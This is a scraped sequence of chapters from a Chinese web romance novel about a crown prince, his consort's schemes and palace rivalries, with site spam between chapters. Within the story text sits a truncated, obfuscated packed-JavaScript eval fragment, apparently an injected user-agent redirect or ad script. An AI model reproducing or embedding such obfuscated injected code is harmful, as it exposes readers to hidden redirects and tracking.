“你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!裴墨染伸出食指,都快戳上她的鼻尖,“悍妇!母老虎! 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜,忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后,裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙,钻进被褥,只露出半个小脑袋,她很小幅度地点头,“嗯。 裴墨染拧紧的眉宇渐渐舒展,他放狠话:“算你开窍! 说着,他掀开被褥,庞大的身躯将她罩在身下。 “你都没擦洗,我还没嫌你脏呢。裴墨染傲娇的冷哼。 云清婳正要蹙眉,他便吻住她的唇,不给她说话的机会。 天幕黑沉,疾风暴雨后,云清婳如同被风雨璀璨的小花,瓣与叶萎靡。 她枕在他的臂弯上,浑身脱力,四肢瘫软,脸上全是泪与汗,声音也哭哑了。 “夫君还生气吗?她讨好地勾住他的腰。 裴墨染的脸庞前所未有的认真,毫无行事之后的餍足,“蛮蛮,我不生气,我只是害怕,怕你出事,怕你离开我。 “夫君,我日后不敢了。这次只是意外,我只是想一个人走走,我想着猎场戒备森严,巡林的侍卫不少,谁知狼群会突然出现?她垂下眼睫,楚楚可怜地说。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第277章 裴墨染要振夫纲! 他轻轻拍抚她的背脊,温柔地哄道:“蛮蛮,是不是被吓到了?别怕,有我在!” “日后你不能独自行动了,我得在你身边安排几名护卫,免得你又不慎遇险。” 云清婳:??? 不是! 这跟被监视有什么区别? 她将脸埋进他的胸口,撒娇道:“夫君,我不喜欢被人看着,夫君还不知道我的性子?这次是意外,我之前又没出过错。” “这种错你还想出几次?”他抚摸着她背上光滑的肌肤,“而且你是什么性子,我最清楚,你根本就不是文弱安静、墨守成规的贵女。” 她抬手啪的在他胸口打了一巴掌,落下五指印,“裴墨染,你什么意思?” “怎么还急了?又不是说你不好,我喜欢蛮蛮的小性子,我觉得很好。”他在她脸蛋上亲了一口,“但是我怕你又遇险,所以这事没得商量。” 云清婳气闷。 她跟裴墨染理论、拿乔,可裴墨染要么装傻要么转移话题就是不松口。 见她不悦,裴墨染讨好地将她抱在怀里,“太子妃,我惧内你还不知道?其他事我都听你的,但是这件事,你得听我的!我是你夫君,你不能总是欺负我啊,偶尔也得让我振夫纲。” 她懒得跟他纠缠这件破事。 她吐出一口浊气,“夫君,我们得去探望裴云澈,毕竟他是为了救我才受伤的。皇上看着呢,我们不能什么表示都没有。” “啧,心疼救命恩人了?别说,裴云澈对你倒是满腔真情,那么虚伪软弱的人,居然以命相护。”他阴阳怪气,酸得牙快掉了。 云清婳的脸沉了,她啪一巴掌甩过去,“裴墨染!我说正事呢,你给我正常点!” “哦。” 裴墨染垂下眼,像极了做错事被主人教训的狗狗。 “是得看,我准备等会儿过去呢。”他掀开被褥坐起身。 云清婳起身穿衣,“我也去。” 接下来的一出大戏,她必须在场! 谁都别想抢走她孩子的皇位! 二人擦洗过后,云清婳麻利地换了身干净衣裙,重新绾了发髻。 裴墨染表情古怪地睨了她一眼,欲言又止。 “看什么呢?”她飞出一记眼 刀。 “没什么……娘子挺好看的。”他乱回。 夫妻三四年了,孩子都两岁了。 云清婳实在太熟悉裴墨染了,狗男人眨一下眼,她都能猜到他在想什么。 她从衣箱里取了外袍给他穿上,“裴云澈做了许多伤天害理的事,视人命如草芥,就算他救了我,我也不会喜欢他。” 裴墨染的嘴角浅浅地上扬,“我可没吃醋,是你自己说的。” 她白了他一眼,“夫君,日后面对皇后,我觉得你可以说出你的想法。” “嗯?”裴墨染蹙眉。 她道:“我不是劝你们和好。但是,你跟皇后总是吵架也不是办法,何不把话说开?要么让皇后死心,别再打扰你,要么让皇后知道如何补偿你。” 裴墨染疑惑地看着她,他跟皇后还没把话说开吗? 能说的话,他都说了。 云清婳解释:“夫君心里明明是有委屈的,何不把每次对我说的话,在皇后面前说出来?你所受的不公,你不说,她永远意识不到。” 时机差不多了。 她希望能给裴墨染刮骨疗伤,排清毒素。 等他吐完苦水,他就能彻底放下皇后这个母亲了。 “委屈留在心里,只有你一个人难受,何不说出来膈应皇后,让她也跟着难受?” “每次我与夫君拌嘴,任何误会、嫌隙,我们都直言不讳。怎么对象换成皇后,你就不长嘴了?” 他苦笑。 因为永远叫不醒装睡的人啊。 蛮蛮心中有他,皇后的心中却有裴云澈、苏家,然后才是他。 “我知道了。”裴墨染思量着,该有个了断了。 这种母亲,他不要了。 求她日后不要舞到他面前,打搅他的生活了。 …… 已经亥时,裴云澈营帐中灯火通明。 皇上的仪仗还在帐外。 裴墨染跟云清婳求见,未几,皇上就宣二人进帐。 帐中,裴云澈正躺在榻上,他静静地阖着双眼,脸上没有一点血色,昏迷不醒。 他的胳膊上、小腿上裹着纱布,纱布晕开了血色。 皇上坐在榻边,老眼熬得满是红血丝,他捏着鼻梁。 在此刻,他跟天下任何一位父亲无异,眼中只有对儿子的担忧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴墨染也很好奇。 云清婳的嘴角上扬。 稳了! 第278章 皇上知晓,他没生育能力 赵太医跪在地上,拱手道:“回禀陛下,贤王虽有娘胎里带的喘症,但此次并无大碍,只是惊厥失血,才导致昏迷,微臣开一副药,调理半个月就好了。” 皇上松了口气,他沉着脸,不悦道:“那你唉声叹气什么?” 赵太医看了眼裴墨染,欲言又止。 皇上的眉头深深地蹙起,他沉声道:“但说无妨!” “微臣诊断出贤王殿下肾虚精寒。”赵太医的声音逐渐变小。 “这……”皇上的眼眸瞪得浑圆,表情有些不自然。 肾虚? 他一表人才,身高八尺的儿子,居然不行? 这怎么可能? 云清婳的脸颊上泛起了薄薄的红晕,她羞涩地垂下脑袋。 裴墨染的眼中平添一抹讥诮。 “不不不……微臣的意思并非是贤王殿下没有男子气概,而是殿下体弱肾亏,精寒、基筑薄弱,难以绵延子嗣。”赵太医慌忙解释。 皇上的心中震惊,他看了眼榻上的裴云澈,衰老的眸中蕴出心疼,他怒斥:“一派胡言!” “微臣不敢欺君!正是因为精寒,贤王府的女眷虽能怀上,但难以孕育子嗣啊。”他举例论证。 皇上感觉一口瘀血堵在了胸口,把他的胸腔都涨得疼。 他知道赵太医所言非虚。 这么多年了,云澈府里怀孕的通房、侧妃不计其数,可每次身孕一到三个月左右就会小产。 他还以为是贤王府的女人钩心斗角太厉害,甚至怀疑是不是虞贵妃等人给他下毒了,现在看来问题出在云澈身上。 赵太医退下后,裴墨染凝眉道:“父皇,一定有办法治的。” 皇上似乎一瞬间苍老了不少,他伟岸的身形在这一刻略显佝偻,他扶着桌子缓缓坐下,声音干哑:“太子,此事莫要声张,免得云澈难过。” “是!”裴墨染的神色虔诚。 云清婳看着皇上深受打击的样子,内心狂喜。 方才老毕登还阴阳怪气地责骂她,现在有本事再骂一句啊。 你最爱的儿子不孕不育,生不出孩子! 跟不会下蛋的母鸡没有任何区别! 这一刻,她的心终于安稳下来。 承基的皇位稳了! 即使皇上再宠爱裴云澈也不会把皇位交给一个绝嗣之人的手上。 所有人都没有注意到的是,裴云澈的眼睫轻颤。 …… 回到营帐,裴墨染将云清婳抱上了桌案,他埋头在她的颈间低低地笑了。 “蛮蛮,没人再能跟我争抢了!” “太好了,真是太好了……” “我从未像今日这样安心过!” 云清婳也难得不矜持地笑了,她冠冕堂皇道:“夫君就这么高兴?别人可救了我的命,是我的救命恩人!” “一码归一码!他救了你,我感激他!他不能生育,我还是感激他……”说着,裴墨染又笑喷了。 他从来都知道自己跟裴云澈在父皇心中的差距。 完全可以用云泥之别来形容! 但今日起,他们之间的差距归零! 因为这场角逐中,裴云澈已经被取消资格了。 …… 秋狝结束了,裴墨染跟云清婳一回东宫,所有夫人都出来迎接。 裴墨染被各种花粉交杂的香气熏晕了,有些头疼,呼吸不畅。 他看着风情各异的女人们,登时有种难以下咽的感觉,他烦闷不已。 “太子能不能陪陪妾身?”陈如燕扭着纤细的水蛇腰从人群中走出来,气场强大。 裴墨染的眉心一跳,看到她整个人都不好了,“政务繁忙,本宫要去勤政殿了,太子妃,你安抚一下诸位夫人。” “是。”云清婳颔首。 “殿下!您上次说了,会再来看我,您是不是把我忘了?”陈如燕双手攥拳,小臂上的青筋都鼓起来了。 裴墨染想起了不好的回忆——上次的霸王硬上弓! 这个男人婆胳膊上的肌肉练得比他还漂亮! 他若不是练家子,肯定挣不过她! “如牛啊,本宫要去勤政殿了!你去太子妃那里讨个赏。”他转身就走。 陈如燕一愣,她努努嘴,“殿下,人家叫如燕!” “知道了,如牛。”裴墨染忙不迭上了马车,催促车夫驶走。 众人:??? 几个夫人打量着陈如燕嗤嗤地笑了。 云清婳赏赐了各个夫人,魏娴、苏灵音一些银两、珠宝以及裴墨染猎回来的野味。 苏灵音酸溜溜地说:“太子妃,殿下已经三个月没有来过后宅了!这恐怕不合规矩吧?上次内务府的公公已经来催了,若是有些人编排您善妒,霸占殿下该如何是好?” “苏侧妃多心了,我一直在劝殿下雨露均沾,你们就等着吧。”云清婳摆摆手。 有了孩子后,她多看狗男人一眼就嫌烦。 若是可以,她真的想去父留子。 诸位夫人是相信云清婳的,毕竟她向来说一不二,说到做到,对待她们也十分宽厚、大方。 “是。” 众人退下后,云清婳拉着魏娴的手,二人不约而同地哈哈大笑。 “哈哈哈……”二人笑得前仰后合。 魏娴捂着嘴,肩膀轻轻抖动,“方才殿下一直管陈夫人叫如牛!他看到陈夫人,跟耗子见到猫儿似的!听说他看见她就绕道走!” “男人就是这样的,见不得比自己强的女人!”云清婳冷嘁。 魏娴的眉头拧起来,表情有点难看,“蛮蛮,波斯使臣还没走,听爹说,他们准备进献美女!波斯的美人真的好美啊,我曾经见过一位,我都看愣神了。” 飞霜倒吸了口凉气,“主子,奴婢也见过波斯美女,她们还会跳飞天舞,漂亮极了!男人都是喜新厌旧的,殿下会不会被迷住?” “随便吧!”云清婳端起一杯茶水抿了一口,“阿娴也害怕吗?” 她摇摇头,“倒也不是害怕,只是倘若波斯美女得宠,你失了宠,将来的路就不如现在好走了。” 云清婳的眼眸一暗,她正色道:“我从未想过我能盛宠不衰,我一直在等裴墨染变心,所以我得趁着他变心前,做很多事。” “美女谁不爱看?我也爱看,但说句不恰当的话,她们就像是波斯猫,逗弄的宠物罢了。谁家的皇位会给混血皇子继承?孩子就是我们最大的底气!” 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第279章 喝醉了?我装的 魏娴会心一笑,她伸长脖子往外张望,“是啊!只是你的门外怎么多了两个侍卫?” 她把围场的事掐头去尾讲了出来。 “呵……殿下也是担心你,”魏娴话锋一转,“但这就是上位者的爱,不论你喜不喜欢,也会强加给你。雷霆雨露,皆是君恩。” 云清婳不禁想到日后,倘若裴墨染登基为帝,这样的事只会越来越多。 她绝不能认命,接受这次安排。 因为有了第一次,就会有第二次! “我不会让人监视我的。”云清婳的心中已经升起了一个计划。 …… 夜深了,裴墨染才来到玄音阁。 他一路上都东张西望,惴惴不安地躲避各位夫人。 王显看出了他的意图,在后面掐着大腿一直憋笑。 一进玄音阁,一股浓厚的酒气扑面而来。 婢女都一脸惊恐,欲言又止地看着裴墨染。 “好重的酒气!怎么回事?”他凝眉,面色黑沉。 婢女面面相觑,顿了顿才道:“太子妃……吃了些酒。” “吃了就吃了,心虚什么?”他责怪地瞥了她们一眼。 大惊小怪,故弄玄虚,害他担心! “……”她们整齐地跪下,眼珠子不约而同的看向寝殿。 裴墨染放眼望去,只看见灯笼下一道婀娜的倩影正在长廊上奔跑。 她手里拿着淡紫色蝴蝶纸鸢,发出银铃般的笑声。 “哈哈哈……我要放纸鸢!” “你别追我啊!飞霜……” “哈哈哈……” 飞霜上气不接下气,边跑边说:“主子,别跑了别跑了……这里放不了纸鸢!” “哈哈哈……你听我的,你拿着纸鸢跟我跑,等风来了借力就飞咯。”云清婳把风筝递给她。 飞霜一脸的生无可恋。 裴墨染:??? “这是……”他的眼角抽搐了下。 万嬷嬷抱着孩子,委婉地说:“回禀殿下,太子妃似乎喝多了……” 换言之,她在发酒疯。 裴墨染哭笑不得。 她甚少这般贪杯恣意,大抵是为他稳坐储君之位感到高兴吧。 他并不觉得云清婳离经叛道,只觉得可爱。 “蛮蛮为何不等等我,跟我一起喝。”他低声喃喃。 万嬷嬷一愣,怀疑自己听错了。 太子妃身份尊贵,要注意体面啊。 更何况一个女子耍酒疯,这成何体统? 云清婳身形摇晃,像是在风中摇曳的花朵,脚步虚浮,婀娜的身姿像是在跳舞。 她笑着在前面跑。 “主子,您喝醉了,别跑了,当心摔跤啊。”飞霜急得喘着粗气。 几个婢女想拦却又不敢。 “主子,主子……”飞霜的脸都快皱成一个苦瓜了,“主子,有台阶,当心台阶啊。” “……嗯?”云清婳怔了怔,她歪着脑袋,努力理解飞霜的话。 几乎同时,她脚下踩空,整个人朝廊外扑了出去。 “主子小心啊!”众婢女异口同声。 王显、万嬷嬷的嘴都张得圆圆的,瞪圆了眼。 承基、辞忧睁着滴溜溜的葡萄眼,看呆了。 “娘亲,飞咯!”辞忧指着云清婳。 “蛮蛮!”裴墨染速度极快,眨眼的功夫,箭步流星的冲刺上前。 他稳稳地接住了单薄轻盈的小身板。 云清婳扑了个满怀,她扬起小脸,迷茫地看着眼前棱角分明的面孔,“唔……” “喝酒喝傻了?连我都认不出来了?”裴墨染忍着笑将她扶起,柔声打趣。 她揉揉后脑勺,笑得娇憨,说话慢吞吞的,声音又娇又细,“这位公子面如冠玉,甚合我心。” “???”裴墨染一时之间不知该做出什么表情。 他凝眉,急声道:“你不认得我了?蛮蛮,你好好看看我是谁!你可是有夫君的人,怎能随便调戏别人?” 狗男人这是自己吃起了自己的醋? 云清婳忍住翻白眼的冲动。 飞霜都无语了,殿下怎么连自己的醋都吃? 主子的演技真好啊! 有好几个瞬间,她差点以为主子真的醉了。 飞霜喘着粗气道:“殿下,主子喝醉了,所以说胡话呢,不能当真。” 裴墨染的脸上写满了失落。 “哈哈哈……”云清婳忽然咯咯地笑了,“我逗你玩呢,夫君。” 裴墨染的心情简直从谷底冲向云端,阴霾从他的脸上散去,他刮了下她的鼻尖,“你这个小酒鬼,还逗我玩?” “夫君,陪我放纸鸢啊。”说着,她拿着风筝转身就跑。 “她究竟喝了多少?”裴墨染的眼角抽了抽。 他三步并作两步,长臂一伸,一把捞住她的腰,将她打横抱起来,朝寝殿走去。 “放开我,放开我,我要放纸鸢……”她的双腿在空中乱蹬,她不满地把纸鸢往裴墨染的脸上、头上招呼。 他的脸被纸鸢的横木打得啪啪作响,他疼得倒吸了口气,“嘶……” 王显、飞霜都心惊肉跳的。 可裴墨染并不恼,他的语气带着笑,耐心道:“太晚了,明日我陪你放。” “骗人、骗人,我就要现在放……”她弹着身子挣扎,像是一个任性的孩子。 飞霜立即将纸鸢取走,她苦着脸解释:“主子本想请两位侍卫大哥吃酒,可酒水太香,主子没忍住也喝了半坛。” “半坛?”裴墨染的眉头一拧。 他是知道的,蛮蛮的酒量不差,军营中的士兵都不一定能喝半坛,难怪她今日醉成这样。 “放肆!他们的职责所在是保护太子妃,他们怎敢喝酒?”裴墨染怒斥。 云清婳突然撑起脖子,“喝!我还能喝,飞霜,他们叫进来,不醉不休……” 裴墨染:??? 这两个不长眼的东西,居然跟蛮蛮对饮! 他将她轻轻放到床榻上,弯下腰给她脱鞋,他冷嗤道:“还不醉不休?你都醉成什么样了!” “谁说我醉了?夫君陪我喝,我还能喝……”她耍无赖,等裴墨染在榻边坐下后,一点一点挪到他身边,小脑袋枕在他的大腿上,抱着他的腰不撒手。 “夫君不许走……” 裴墨染感受到腰间加紧的力度,不由得牵起唇角,“放心吧,我不走!” “唔……夫君,蛮蛮好喜欢你。”她阖上双眼,似乎要沉沉睡去,含糊不清地说。 裴墨染的心脏一震,舌尖仿佛都尝到了蜜糖般的甜意。 突然间,他觉得蛮蛮喝醉也不错。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第280章 主子牺牲太大了 蛮蛮清醒时,绝不会表露真情。 更不会跟他露白,对他说喜欢、爱。 现在她跟个离不开娘亲的孩子似的,对他暴露出内心的娇弱、依赖,真好! “我也喜欢蛮蛮。”他的眼神的深情浓得化不开,他一字一顿道。 飞霜端来一杯水,放到云清婳唇边,“主子,喝点水吧。” “对,喝点水。”裴墨染托着她的脖子,把她扶正。 飞霜将杯壁才抵住云清婳的唇瓣,她就发出嘤咛,“我要夫君喂。” “!!!”飞霜鸡皮疙瘩起了一身。 主子牺牲太大了。 “好。”裴墨染笑得春风得意。 他很享受被蛮蛮需要的感觉! 他从飞霜手里接过茶杯,小心翼翼地倾斜茶杯,将其中的水渡入她的口中。 王显在一旁看着二人恩爱,脸上从始至终带着笑。 云清婳舒服地喟叹一声,跟猫儿似的,在他腰间蹭了蹭缓缓阖上双眼。 “蛮蛮,先别睡。”裴墨染揩去她鬓角的汗,他瞥向飞霜,“扶你主子去净室擦洗。” “是。”飞霜立即吩咐下人备水。 她又俯下身,在云清婳耳边道:“主子,奴婢帮您擦洗一下吧。” 云清婳摇摇头,圈紧裴墨染的腰,“我要夫君帮我。” 飞霜红了脸,急忙缩回手。 裴墨染的嘴角噙着笑,耳根子也不知不觉地红了,他难以置信:“蛮蛮,真要我帮你?” 他就像是被惊喜砸中。 从前他想跟蛮蛮一起沐浴,蛮蛮就跟看见洪水猛兽似的,甚至还打他。 “嗯……”她点点头。 裴墨染生怕她反悔,从腰间掰开她的胳膊,将她打横抱走。 云清婳的脸贴在他的胸口上,她慵懒道:“夫君,我爱你。” 他被她哄得晕头转向,简直要昏了头,在一声声甜腻的表白中迷失自我。 “我也爱你。”裴墨染笑着回应。 她娇憨地笑了,肌肤透着粉,媚眼如丝,“夫君,我不要侍卫,不喜欢。” “不喜欢就对了!他们是保护你的。”他解释。 云清婳的小脸一拧,快要哭了,“不要!不喜欢被其他男人看着,我要夫君。” “好好好,不喜欢就不要了。”裴墨染飘飘然,在她的撒娇攻势下昏了头,一口答应下来。 不让侍卫看着也好,免得那群蠢货再跟蛮蛮喝酒。 云清婳眼底闪过精光。 …… 翌日,云清婳一醒来便发觉身上的亵衣被换了,还皱皱巴巴的。 发生了什么不言而喻。 此时,枕边人还在身边。 昨晚她真是废了九牛二虎之力才哄好了狗男人,真有点迷惑圣听的妖妃的意思了。 “头疼不疼?要喝水吗?”裴墨染忙不迭下榻去倒水。 云清婳揉揉太阳穴,她装模作样地低头看看褶皱的亵衣下摆,不悦道:“夫君昨晚对我做什么了?” 他倒水的手一顿,回忆起昨夜,嘴角还带着甜蜜的笑,“昨晚可是你主动的,又亲又摸又抱,我想起身把床帐拉上你都不答应。” “骗人!”她羞赧地低下头。 “我骗人?你昨晚一口一个悦我,飞霜都听见了。”裴墨染的表情更得意了,“早知你不认账,夜里我就该把所有下人叫进来看。” 她啐了他一声,“不要脸!” 裴墨染更得意了。 正所谓酒后吐真言,蛮蛮平日克制自己,可喝醉后,把心里话全吐露出来了。 他俯下身,动作小心地喂她喝水,“日后少喝些,昨夜你跑来跑去,险些摔倒,我的心脏都快被你吓停了。” “下次不会了,我不喝了。”她吞咽着茶水。 裴墨染想到什么,着急地劝道:“别啊,蛮蛮偶尔喝醉也挺好的。” 云清婳在心里翻了个白眼。 美得他! 她可不敢喝醉,她是真怕酒后吐真言。 “夫君,我不想被侍卫看着,他们毕竟是外男,总感觉怪怪的。”她又重提了一遍。 裴墨染颔首,“已经让他们走了,你昨晚说了你不喜欢,我知道了。” 她可不想蛮蛮再跟其他男人喝酒喝醉。 一切尽在她的掌握之中。 云清婳的嘴角上扬。 “蛮蛮,你日后在我面前可以不用克制,我喜欢你对我那样。”他美滋滋地说。 他原本以为他讨厌孟浪、招摇的女子,喜欢蛮蛮这般内敛羞赧的女子。 可昨晚,他十分受用,喜欢极了! 或许蛮蛮什么样,他就喜欢什么样吧。 云清婳嫌弃地白了他一眼,岔开话题,“夫君,内务府的人都催好几次了,你该去后宅开枝散叶了。” “你又催我!又把我往外推!”裴墨染这次并不像从前那样不悦,觉得她不在乎他。 因为他明白了蛮蛮的良苦用心。 她心里是在乎的,但是她以大局为重,不得不佯装大方。 云清婳不知道他在美什么。 他若真不想临幸旁人,有本事到时候没反应啊。 装什么深情? …… 接下来的半个月,裴墨染随意挑了有眼缘的夫人临幸,没一个重复的。 他有好几晚,想在落霞斋宿下。 可魏娴统统以身子不适为由拒绝。 对于魏娴而言,裴墨染已经失去诱惑力了。 她已经有儿子了,没必要再垂尾乞怜、卑躬屈膝地讨好男人了。 裴墨染并不知这些小九九,还贴心地派府医给她调理身子。 至于苏灵音,根本不在裴墨染的考虑范围之内。 这些消息,毫无遗漏的全被玄音阁知晓。 但并不是云清婳派人调查的,而是裴墨染派下人故意透漏给她听的。 庭院中,承基跟辞忧正骑着木马。 承宁在摇篮里,抱着奶壶喝奶。 “蛮蛮,殿下对你还真是用心良苦。”魏娴打趣道。 云清婳撇撇嘴,“当初他对赵婉宁不也是如此?爱是可以收回的。” 魏娴最欣赏的就是云清婳的清醒,跟云清婳站队,她总是很安心。 她轻笑着:“恐怕苏灵音要气疯了,她每日都盼着殿下能临幸。” “阿娴不要轻敌,苏灵音可不是一个甘于堕落的人,只要有一线机会,她都会牢牢抓紧。”云清婳分析。 魏娴打起了十二分精神。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第281章 殿下变心了? 清心阁。 苏灵音对镜梳妆,“巧慧,我这样好看吗?” “好看。”巧慧连忙颔首。 “为何我好看,殿下还不来?他就这么讨厌我?我难道还不如后宅那些庸脂俗粉?我好歹是他表妹啊。”苏灵音说着,哽咽起来。 她不明白裴墨染为何这么厌恶她,她当初又不知道裴云澈才是宸妃的儿子! 倘若知道,她帮扶的人就是裴墨染了。 巧慧操着心疼的语气,“主子,要不咱们去跟皇后娘娘说说?” “哼,跟皇后说有什么用?殿下如今这么厌恶她!她恐怕都自身难保了。”苏灵音的语气含着不屑。 “云清婳也就是仗着她那副皮囊!她不会真觉得自己能盛宠不衰吧?既然我不好过,那谁都别想好过!” 巧慧的眼里充满疑惑,“主子有办法?” 苏灵音警惕地瞪了她一眼,“不该你问的,不要问!” “是。”巧慧讪讪地低下头。 …… 最近波斯使臣在跟皇上磋商减税减贡事宜,裴墨染深夜才得空回府看看孩子。 晌午,两个孩子吃完肉泥粥,云清婳拿着幼儿读本,准备教导他们读书。 他们俩的教育可不能落下。 毕竟承基、辞忧是万众瞩目的福星、麒麟子。 而且他们早智,比同龄孩子聪慧,两岁学诗并不算早。 云清婳让飞霜把他们放在软榻上排排坐好,她蹲在他们面前。 “娘亲教你们背诗。”她道。 承基、辞忧睁着圆溜溜的眼睛看着娘亲。 云清婳字正腔圆,缓缓道:“鹅鹅鹅……” “曲项向天歌,白毛浮绿水,红掌拨清波。”承基、辞忧异口同声,声音奶呼呼,只有个别字音不清楚。 飞霜瞪圆了眼,“天才啊!还没教就会了!” 云清婳的眸子紧缩,她喜不自胜,激动道:“谁教的?” 两个小奶包绞着手指,“爷爷。” 她的内心澎湃,心潮翻涌,激动感觉不可言说。 皇上亲自教导,这含金量还用说吗? 这绝对是寄予厚望的表现! 就算将来狗男人出事了,她的位置也是稳的! 云清婳又试探着,“窗前明月光……” “疑是地上霜,举头望明月,低头思故乡。”两个小奶包跟唱歌似的,呱啦呱啦的背了出来。 “皇孙会背诗了,这么好的事情,为何皇上不说啊?”飞霜拿了奶糕,分别奖励给他们。 两个小奶包用两只手才拿得下奶糕。 他们专心致志地吃着糕点,注意力全被点心吸引去,不理云清婳了。 云清婳拍抚着心口,努力平复着情绪,“因为皇上不愿被人琢磨出心思。但是这件事我得让裴墨染知道,快去通传,他会高兴的。” “是!”飞霜笑着跑出去。 可才跑了几步,一个心腹婢女小跑进来,“主子,不好了、不好了……” “怎么了?”云清婳悠悠地问。 “殿下带回了两个波斯女子,让您去看看。”婢女气喘吁吁。 云清婳忽地笑了。 “主子,您这是……”婢女担忧地看着她,有些心疼,“主子,殿下就是贪图新鲜。” “走,咱们一起看看去。”她不紧不慢地走出去,仿佛只是听见了天气好坏。 众婢女表情古怪,担心地看着她。 飞霜愤愤不平,“亏您还想着他,不成想,他这么快就变心了,还明目张胆将人带回来。” “早晚的事。”她不甚在意。 难道还指望一个封建集权背景下的太子给她守节吗? 这个小说世界的女主已经死了,剧情变得一发不可收拾,早就不是纯爱言情向了。 但,她又有六成的把握。 她不觉得裴墨染会对外邦女子动心。 …… 云清婳到花厅时,许多夫人都来了。 她们多数人的脸上闪过不安、焦躁,还有的人一脸新奇。 两位波斯女子肤白,五官深邃,一堆眼珠好似蓝宝石,仿佛能把人吸进去。 她们头戴烟青色薄纱丝绢,腰肢纤细,穿着清凉的湖蓝色丝绸衣裙,露出肚脐。 苏灵音与她们攀谈,三人其乐融融,时不时发出轻笑声。 “太子妃,波斯女子怎能入府?外邦人怎能跟我们一起伺候殿下?真是太侮辱人了……”姜瑶儿说着,拿着帕子哭了起来。 云清婳揉揉她的脑袋,就像在抚摸小宠物,“她们很漂亮,让人看了心里欢喜,不是吗?” 姜瑶儿一愣,“可是……” 她半晌也没反驳出个一二三来。 云清婳明白她们心中的担忧、妒忌。 许多女人都是这样,把对同性的欣赏当作嫉妒,把对异性的嫉妒当作喜欢。 “太子妃,这两位妹妹好漂亮啊,想必日后要跟我们一起伺候太子殿下了呢。”苏灵音福身,眼中的挑衅毫不掩饰。 “两位姑娘,殿下可有给你们安排宅院?”云清婳上前,落落大方地问。 两个波斯女子慵懒随意地鞠了一躬,眼中满是对云清婳的敌意与蔑视,“还没有。” 本小章还未完,请点击下一页继续阅读后面精彩内容!魏娴作壁上观。 陈如燕忍不住斥责:“没规矩的东西!太子妃跟你们说话,回答散漫敷衍,也不知自报家门!可有把太子妃放在眼里?想挨板子吗?” “太子夸我们姐妹二人跳舞好看,特意接我们回东宫,我们轮不到你一个妾室教训!”二人又奚落地睨着云清婳,“更轮不到太子妃教训!” 苏灵音幸灾乐祸地看着,险些笑出声。 云清婳的脸上没有波澜,从始至终挂着淡然端庄的笑意,“说得对,不如我给你们安排住处吧?” 二人的脸色一变,她们摇摇头,奚落道:“多谢太子妃的好意,还是不必了!想必太子殿下自有安排。” 柳玉捂着嘴小声道:“殿下不会被她们勾了魂,要让她们住在长信殿吧?” “长信殿?这两个外邦人岂不是能和殿下通吃同住?” 柳玉咋舌,她比出两根指头,“何止啊!还能同睡呢,一晚上应付两个,长信殿的床榻听说很大……” “天啊!”各个夫人捂着嘴,羞愤的脸蛋通红。 “……” 云清婳险些笑喷。 柳玉的嘴巴可真厉害,说得绘声绘色,就像亲眼看见了活春宫。 两位波斯女子脖子仰起脸,趾高气扬,骄傲极了。 苏灵音却有些失落,因为没在云清婳的脸上看见想看的表情。 但是她不在乎。 云贱人,你就假装坚强吧! 裴墨染的目光已经被其他人抢走了,我所受的委屈、惶恐换你来承受! 就在这时,裴墨染大步流星地走来。 两位波斯女子的眼睛一亮,射出了精光,“殿下……” 诸位夫人却委屈、埋怨地睨着他。 “蛮蛮!”他径直朝云清婳走来。 他张望一圈,笑着抓住她的双手,“孩子呢?” 云清婳微微一怔。 迎接两个波斯女子,还用得着孩子露面? 搞这么大的阵仗? “殿下~”两个波斯女子小跑过来,声音娇嗲甜腻。 众人身上的鸡皮疙瘩都起来了。 裴墨染蹙眉,他斥道:“你们还愣在这里作甚?快下去准备!” 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第282章 波斯女子痛哭流涕 “啊?”二人有些委屈,眼睛水汪汪地看着他。 裴墨染看向王显,“在花园搭台子,方便她们献舞!” “是。”王显立即带她们下去。 “有这么好看吗?还看不够!”姜瑶儿擦着眼泪,酸溜溜地说。 云清婳挑眉,她似乎看明白了。 裴墨染是把她们俩当猴,让二人过来演猴戏了! “蛮蛮,快将孩子抱来,她们会跳飞天舞,可新奇了,正好给孩子看看。”裴墨染看到魏娴,又补充一句,“对了,把承宁也抱来。” 魏娴福福身,“多谢殿下垂怜。可承宁才吃了奶,已经睡下了,而且孩子还小,看不懂歌舞呢。” “罢了,那就等下一次吧。”裴墨染攥着云清婳的手,跟她十指相扣。 两位波斯女子看着裴墨染攥着云清婳的手,觉得十分刺眼,眼中闪过暗色。 殿下一定是碍于太子妃的颜面,所以才冷落她们的。 过了一个时辰,舞台才搭建好。 两位波斯女子身段婀娜,舞姿妖娆,二人的腰间绑着丝带,舞至高潮,纵身飞了起来。 各个夫人看呆了,忍不住鼓掌。 承基、辞忧也张圆了嘴巴,指着台上的二人道:“小鸟,飞咯!” 裴墨染献宝似的揽住云清婳的肩膀,“蛮蛮,怎么样?好看吗?” “嗯。”她颔首。 他的眼中冒着星光,一副求夸奖的表情,“我就知道你喜欢!昨晚宫宴波斯使臣让她们献舞,我觉得有趣,就盘算着让你跟孩子也看看。” “大白天就把人送来,我还以为夫君被勾走了魂,要享齐人之福呢。”她戏谑地调侃。 裴墨染一脸认真,“蛮蛮,你真这么想?我岂是纵欲之人?我心里只有你。更何况,她们是外邦人,我岂会对外邦人起意?” 